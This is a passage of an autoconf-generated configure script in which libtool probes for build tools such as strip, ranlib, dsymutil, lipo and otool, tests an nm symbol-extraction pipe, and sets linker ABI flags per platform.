"(cached) " >&6 else if test -n "$STRIP"; then ac_cv_prog_STRIP="$STRIP" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_STRIP="${ac_tool_prefix}strip" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi STRIP=$ac_cv_prog_STRIP if test -n "$STRIP"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $STRIP" >&5 $as_echo "$STRIP" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi fi if test -z "$ac_cv_prog_STRIP"; then ac_ct_STRIP=$STRIP # Extract the first word of "strip", so it can be a program name with args. set dummy strip; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_ac_ct_STRIP+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$ac_ct_STRIP"; then ac_cv_prog_ac_ct_STRIP="$ac_ct_STRIP" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_ac_ct_STRIP="strip" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi ac_ct_STRIP=$ac_cv_prog_ac_ct_STRIP if test -n "$ac_ct_STRIP"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_STRIP" >&5 $as_echo "$ac_ct_STRIP" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi if test "x$ac_ct_STRIP" = x; then STRIP=":" else case $cross_compiling:$ac_tool_warned in yes:) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 $as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} ac_tool_warned=yes ;; esac STRIP=$ac_ct_STRIP fi else STRIP="$ac_cv_prog_STRIP" fi test -z "$STRIP" && STRIP=: if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}ranlib", so it can be a program name with args. set dummy ${ac_tool_prefix}ranlib; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_RANLIB+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$RANLIB"; then ac_cv_prog_RANLIB="$RANLIB" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_RANLIB="${ac_tool_prefix}ranlib" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi RANLIB=$ac_cv_prog_RANLIB if test -n "$RANLIB"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $RANLIB" >&5 $as_echo "$RANLIB" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi fi if test -z "$ac_cv_prog_RANLIB"; then ac_ct_RANLIB=$RANLIB # Extract the first word of "ranlib", so it can be a program name with args. set dummy ranlib; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_ac_ct_RANLIB+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$ac_ct_RANLIB"; then ac_cv_prog_ac_ct_RANLIB="$ac_ct_RANLIB" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_ac_ct_RANLIB="ranlib" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi ac_ct_RANLIB=$ac_cv_prog_ac_ct_RANLIB if test -n "$ac_ct_RANLIB"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_RANLIB" >&5 $as_echo "$ac_ct_RANLIB" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi if test "x$ac_ct_RANLIB" = x; then RANLIB=":" else case $cross_compiling:$ac_tool_warned in yes:) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 $as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} ac_tool_warned=yes ;; esac RANLIB=$ac_ct_RANLIB fi else RANLIB="$ac_cv_prog_RANLIB" fi test -z "$RANLIB" && RANLIB=: # Determine commands to create old-style static archives. old_archive_cmds='$AR $AR_FLAGS $oldlib$oldobjs' old_postinstall_cmds='chmod 644 $oldlib' old_postuninstall_cmds= if test -n "$RANLIB"; then case $host_os in openbsd*) old_postinstall_cmds="$old_postinstall_cmds~\$RANLIB -t \$oldlib" ;; *) old_postinstall_cmds="$old_postinstall_cmds~\$RANLIB \$oldlib" ;; esac old_archive_cmds="$old_archive_cmds~\$RANLIB \$oldlib" fi # If no C compiler was specified, use CC. LTCC=${LTCC-"$CC"} # If no C compiler flags were specified, use CFLAGS. LTCFLAGS=${LTCFLAGS-"$CFLAGS"} # Allow CC to be a program name with arguments. compiler=$CC # Check for command to grab the raw symbol name followed by C symbol from nm. { $as_echo "$as_me:${as_lineno-$LINENO}: checking command to parse $NM output from $compiler object" >&5 $as_echo_n "checking command to parse $NM output from $compiler object... " >&6; } if test "${lt_cv_sys_global_symbol_pipe+set}" = set; then : $as_echo_n "(cached) " >&6 else # These are sane defaults that work on at least a few old systems. # [They come from Ultrix. What could be older than Ultrix?!! ;)] # Character class describing NM global symbol codes. symcode='[BCDEGRST]' # Regexp to match symbols that can be accessed directly from C. sympat='\([_A-Za-z][_A-Za-z0-9]*\)' # Define system-specific variables. case $host_os in aix*) symcode='[BCDT]' ;; cygwin* | mingw* | pw32* | cegcc*) symcode='[ABCDGISTW]' ;; hpux*) if test "$host_cpu" = ia64; then symcode='[ABCDEGRST]' fi ;; irix* | nonstopux*) symcode='[BCDEGRST]' ;; osf*) symcode='[BCDEGQRST]' ;; solaris*) symcode='[BDRT]' ;; sco3.2v5*) symcode='[DT]' ;; sysv4.2uw2*) symcode='[DT]' ;; sysv5* | sco5v6* | unixware* | OpenUNIX*) symcode='[ABDT]' ;; sysv4) symcode='[DFNSTU]' ;; esac # If we're using GNU nm, then use its standard symbol codes. case `$NM -V 2>&1` in *GNU* | *'with BFD'*) symcode='[ABCDGIRSTW]' ;; esac # Transform an extracted symbol line into a proper C declaration. # Some systems (esp. on ia64) link data and code symbols differently, # so use this general approach. lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'" # Transform an extracted symbol line into symbol name and symbol address lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'" lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'" # Handle CRLF in mingw tool chain opt_cr= case $build_os in mingw*) opt_cr=`$ECHO 'x\{0,1\}' | tr x '\015'` # option cr in regexp ;; esac # Try without a prefix underscore, then with it. for ac_symprfx in "" "_"; do # Transform symcode, sympat, and symprfx into a raw symbol and a C symbol. symxfrm="\\1 $ac_symprfx\\2 \\2" # Write the raw and C identifiers. if test "$lt_cv_nm_interface" = "MS dumpbin"; then # Fake it for dumpbin and say T for any non-static function # and D for any global variable. # Also find C++ and __fastcall symbols from MSVC++, # which start with @ or ?. lt_cv_sys_global_symbol_pipe="$AWK '"\ " {last_section=section; section=\$ 3};"\ " /Section length .*#relocs.*(pick any)/{hide[last_section]=1};"\ " \$ 0!~/External *\|/{next};"\ " / 0+ UNDEF /{next}; / UNDEF \([^|]\)*()/{next};"\ " {if(hide[section]) next};"\ " {f=0}; \$ 0~/\(\).*\|/{f=1}; {printf f ? \"T \" : \"D \"};"\ " {split(\$ 0, a, /\||\r/); split(a[2], s)};"\ " s[1]~/^[@?]/{print s[1], s[1]; next};"\ " s[1]~prfx {split(s[1],t,\"@\"); print t[1], substr(t[1],length(prfx))}"\ " ' prfx=^$ac_symprfx" else lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'" fi # Check to see that the pipe works correctly. pipe_works=no rm -f conftest* cat > conftest.$ac_ext <<_LT_EOF #ifdef __cplusplus extern "C" { #endif char nm_test_var; void nm_test_func(void); void nm_test_func(void){} #ifdef __cplusplus } #endif int main(){nm_test_var='a';nm_test_func();return(0);} _LT_EOF if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5 (eval $ac_compile) 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; then # Now try to grab the symbols. nlist=conftest.nm if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $nlist\""; } >&5 (eval $NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $nlist) 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } && test -s "$nlist"; then # Try sorting and uniquifying the output. if sort "$nlist" | uniq > "$nlist"T; then mv -f "$nlist"T "$nlist" else rm -f "$nlist"T fi # Make sure that we snagged all the symbols we need. if $GREP ' nm_test_var$' "$nlist" >/dev/null; then if $GREP ' nm_test_func$' "$nlist" >/dev/null; then cat <<_LT_EOF > conftest.$ac_ext #ifdef __cplusplus extern "C" { #endif _LT_EOF # Now generate the symbol file. eval "$lt_cv_sys_global_symbol_to_cdecl"' < "$nlist" | $GREP -v main >> conftest.$ac_ext' cat <<_LT_EOF >> conftest.$ac_ext /* The mapping between symbol names and symbols. */ const struct { const char *name; void *address; } lt__PROGRAM__LTX_preloaded_symbols[] = { { "@PROGRAM@", (void *) 0 }, _LT_EOF $SED "s/^$symcode$symcode* \(.*\) \(.*\)$/ {\"\2\", (void *) \&\2},/" < "$nlist" | $GREP -v main >> conftest.$ac_ext cat <<\_LT_EOF >> conftest.$ac_ext {0, (void *) 0} }; /* This works around a problem in FreeBSD linker */ #ifdef FREEBSD_WORKAROUND static const void *lt_preloaded_setup() { return lt__PROGRAM__LTX_preloaded_symbols; } #endif #ifdef __cplusplus } #endif _LT_EOF # Now try linking the two files. mv conftest.$ac_objext conftstm.$ac_objext lt_save_LIBS="$LIBS" lt_save_CFLAGS="$CFLAGS" LIBS="conftstm.$ac_objext" CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag" if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5 (eval $ac_link) 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } && test -s conftest${ac_exeext}; then pipe_works=yes fi LIBS="$lt_save_LIBS" CFLAGS="$lt_save_CFLAGS" else echo "cannot find nm_test_func in $nlist" >&5 fi else echo "cannot find nm_test_var in $nlist" >&5 fi else echo "cannot run $lt_cv_sys_global_symbol_pipe" >&5 fi else echo "$progname: failed program was:" >&5 cat conftest.$ac_ext >&5 fi rm -rf conftest* conftst* # Do not use the global_symbol_pipe unless it works. if test "$pipe_works" = yes; then break else lt_cv_sys_global_symbol_pipe= fi done fi if test -z "$lt_cv_sys_global_symbol_pipe"; then lt_cv_sys_global_symbol_to_cdecl= fi if test -z "$lt_cv_sys_global_symbol_pipe$lt_cv_sys_global_symbol_to_cdecl"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: failed" >&5 $as_echo "failed" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: ok" >&5 $as_echo "ok" >&6; } fi # Check whether --enable-libtool-lock was given. if test "${enable_libtool_lock+set}" = set; then : enableval=$enable_libtool_lock; fi test "x$enable_libtool_lock" != xno && enable_libtool_lock=yes # Some flags need to be propagated to the compiler or linker for good # libtool support. case $host in ia64-*-hpux*) # Find out which ABI we are using. echo 'int i;' > conftest.$ac_ext if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5 (eval $ac_compile) 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; then case `/usr/bin/file conftest.$ac_objext` in *ELF-32*) HPUX_IA64_MODE="32" ;; *ELF-64*) HPUX_IA64_MODE="64" ;; esac fi rm -rf conftest* ;; *-*-irix6*) # Find out which ABI we are using. echo '#line 6265 "configure"' > conftest.$ac_ext if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5 (eval $ac_compile) 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; then if test "$lt_cv_prog_gnu_ld" = yes; then case `/usr/bin/file conftest.$ac_objext` in *32-bit*) LD="${LD-ld} -melf32bsmip" ;; *N32*) LD="${LD-ld} -melf32bmipn32" ;; *64-bit*) LD="${LD-ld} -melf64bmip" ;; esac else case `/usr/bin/file conftest.$ac_objext` in *32-bit*) LD="${LD-ld} -32" ;; *N32*) LD="${LD-ld} -n32" ;; *64-bit*) LD="${LD-ld} -64" ;; esac fi fi rm -rf conftest* ;; x86_64-*kfreebsd*-gnu|x86_64-*linux*|ppc*-*linux*|powerpc*-*linux*| \ s390*-*linux*|s390*-*tpf*|sparc*-*linux*) # Find out which ABI we are using. echo 'int i;' > conftest.$ac_ext if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5 (eval $ac_compile) 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; then case `/usr/bin/file conftest.o` in *32-bit*) case $host in x86_64-*kfreebsd*-gnu) LD="${LD-ld} -m elf_i386_fbsd" ;; x86_64-*linux*) LD="${LD-ld} -m elf_i386" ;; ppc64-*linux*|powerpc64-*linux*) LD="${LD-ld} -m elf32ppclinux" ;; s390x-*linux*) LD="${LD-ld} -m elf_s390" ;; sparc64-*linux*) LD="${LD-ld} -m elf32_sparc" ;; esac ;; *64-bit*) case $host in x86_64-*kfreebsd*-gnu) LD="${LD-ld} -m elf_x86_64_fbsd" ;; x86_64-*linux*) LD="${LD-ld} -m elf_x86_64" ;; ppc*-*linux*|powerpc*-*linux*) LD="${LD-ld} -m elf64ppc" ;; s390*-*linux*|s390*-*tpf*) LD="${LD-ld} -m elf64_s390" ;; sparc*-*linux*) LD="${LD-ld} -m elf64_sparc" ;; esac ;; esac fi rm -rf conftest* ;; *-*-sco3.2v5*) # On SCO OpenServer 5, we need -belf to get full-featured binaries. SAVE_CFLAGS="$CFLAGS" CFLAGS="$CFLAGS -belf" { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the C compiler needs -belf" >&5 $as_echo_n "checking whether the C compiler needs -belf... " >&6; } if test "${lt_cv_cc_needs_belf+set}" = set; then : $as_echo_n "(cached) " >&6 else ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : lt_cv_cc_needs_belf=yes else lt_cv_cc_needs_belf=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_cc_needs_belf" >&5 $as_echo "$lt_cv_cc_needs_belf" >&6; } if test x"$lt_cv_cc_needs_belf" != x"yes"; then # this is probably gcc 2.8.0, egcs 1.0 or newer; no need for -belf CFLAGS="$SAVE_CFLAGS" fi ;; sparc*-*solaris*) # Find out which ABI we are using. echo 'int i;' > conftest.$ac_ext if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5 (eval $ac_compile) 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; then case `/usr/bin/file conftest.o` in *64-bit*) case $lt_cv_prog_gnu_ld in yes*) LD="${LD-ld} -m elf64_sparc" ;; *) if ${LD-ld} -64 -r -o conftest2.o conftest.o >/dev/null 2>&1; then LD="${LD-ld} -64" fi ;; esac ;; esac fi rm -rf conftest* ;; esac need_locks="$enable_libtool_lock" case $host_os in rhapsody* | darwin*) if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}dsymutil", so it can be a program name with args. set dummy ${ac_tool_prefix}dsymutil; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_DSYMUTIL+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$DSYMUTIL"; then ac_cv_prog_DSYMUTIL="$DSYMUTIL" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_DSYMUTIL="${ac_tool_prefix}dsymutil" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi DSYMUTIL=$ac_cv_prog_DSYMUTIL if test -n "$DSYMUTIL"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DSYMUTIL" >&5 $as_echo "$DSYMUTIL" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi fi if test -z "$ac_cv_prog_DSYMUTIL"; then ac_ct_DSYMUTIL=$DSYMUTIL # Extract the first word of "dsymutil", so it can be a program name with args. set dummy dsymutil; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_ac_ct_DSYMUTIL+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$ac_ct_DSYMUTIL"; then ac_cv_prog_ac_ct_DSYMUTIL="$ac_ct_DSYMUTIL" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_ac_ct_DSYMUTIL="dsymutil" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi ac_ct_DSYMUTIL=$ac_cv_prog_ac_ct_DSYMUTIL if test -n "$ac_ct_DSYMUTIL"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DSYMUTIL" >&5 $as_echo "$ac_ct_DSYMUTIL" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi if test "x$ac_ct_DSYMUTIL" = x; then DSYMUTIL=":" else case $cross_compiling:$ac_tool_warned in yes:) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 $as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} ac_tool_warned=yes ;; esac DSYMUTIL=$ac_ct_DSYMUTIL fi else DSYMUTIL="$ac_cv_prog_DSYMUTIL" fi if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}nmedit", so it can be a program name with args. set dummy ${ac_tool_prefix}nmedit; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_NMEDIT+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$NMEDIT"; then ac_cv_prog_NMEDIT="$NMEDIT" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_NMEDIT="${ac_tool_prefix}nmedit" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi NMEDIT=$ac_cv_prog_NMEDIT if test -n "$NMEDIT"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $NMEDIT" >&5 $as_echo "$NMEDIT" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi fi if test -z "$ac_cv_prog_NMEDIT"; then ac_ct_NMEDIT=$NMEDIT # Extract the first word of "nmedit", so it can be a program name with args. set dummy nmedit; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_ac_ct_NMEDIT+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$ac_ct_NMEDIT"; then ac_cv_prog_ac_ct_NMEDIT="$ac_ct_NMEDIT" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_ac_ct_NMEDIT="nmedit" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi ac_ct_NMEDIT=$ac_cv_prog_ac_ct_NMEDIT if test -n "$ac_ct_NMEDIT"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_NMEDIT" >&5 $as_echo "$ac_ct_NMEDIT" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi if test "x$ac_ct_NMEDIT" = x; then NMEDIT=":" else case $cross_compiling:$ac_tool_warned in yes:) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 $as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} ac_tool_warned=yes ;; esac NMEDIT=$ac_ct_NMEDIT fi else NMEDIT="$ac_cv_prog_NMEDIT" fi if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}lipo", so it can be a program name with args. set dummy ${ac_tool_prefix}lipo; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_LIPO+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$LIPO"; then ac_cv_prog_LIPO="$LIPO" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_LIPO="${ac_tool_prefix}lipo" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi LIPO=$ac_cv_prog_LIPO if test -n "$LIPO"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $LIPO" >&5 $as_echo "$LIPO" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi fi if test -z "$ac_cv_prog_LIPO"; then ac_ct_LIPO=$LIPO # Extract the first word of "lipo", so it can be a program name with args. set dummy lipo; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_ac_ct_LIPO+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$ac_ct_LIPO"; then ac_cv_prog_ac_ct_LIPO="$ac_ct_LIPO" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_ac_ct_LIPO="lipo" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi ac_ct_LIPO=$ac_cv_prog_ac_ct_LIPO if test -n "$ac_ct_LIPO"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_LIPO" >&5 $as_echo "$ac_ct_LIPO" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi if test "x$ac_ct_LIPO" = x; then LIPO=":" else case $cross_compiling:$ac_tool_warned in yes:) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 $as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} ac_tool_warned=yes ;; esac LIPO=$ac_ct_LIPO fi else LIPO="$ac_cv_prog_LIPO" fi if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}otool", so it can be a program name with args. set dummy ${ac_tool_prefix}otool; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_OTOOL+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$OTOOL"; then ac_cv_prog_OTOOL="$OTOOL" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_OTOOL="${ac_tool_prefix}otool" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi OTOOL=$ac_cv_prog_OTOOL if test -n "$OTOOL"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $OTOOL" >&5 $as_echo "$OTOOL" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi fi if test -z "$ac_cv_prog_OTOOL"; then ac_ct_OTOOL=$OTOOL # Extract the first word of "otool", so it can be a program name with args. set dummy otool; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_ac_ct_OTOOL+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$ac_ct_OTOOL"; then ac_cv_prog_ac_ct_OTOOL="$ac_ct_OTOOL" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in 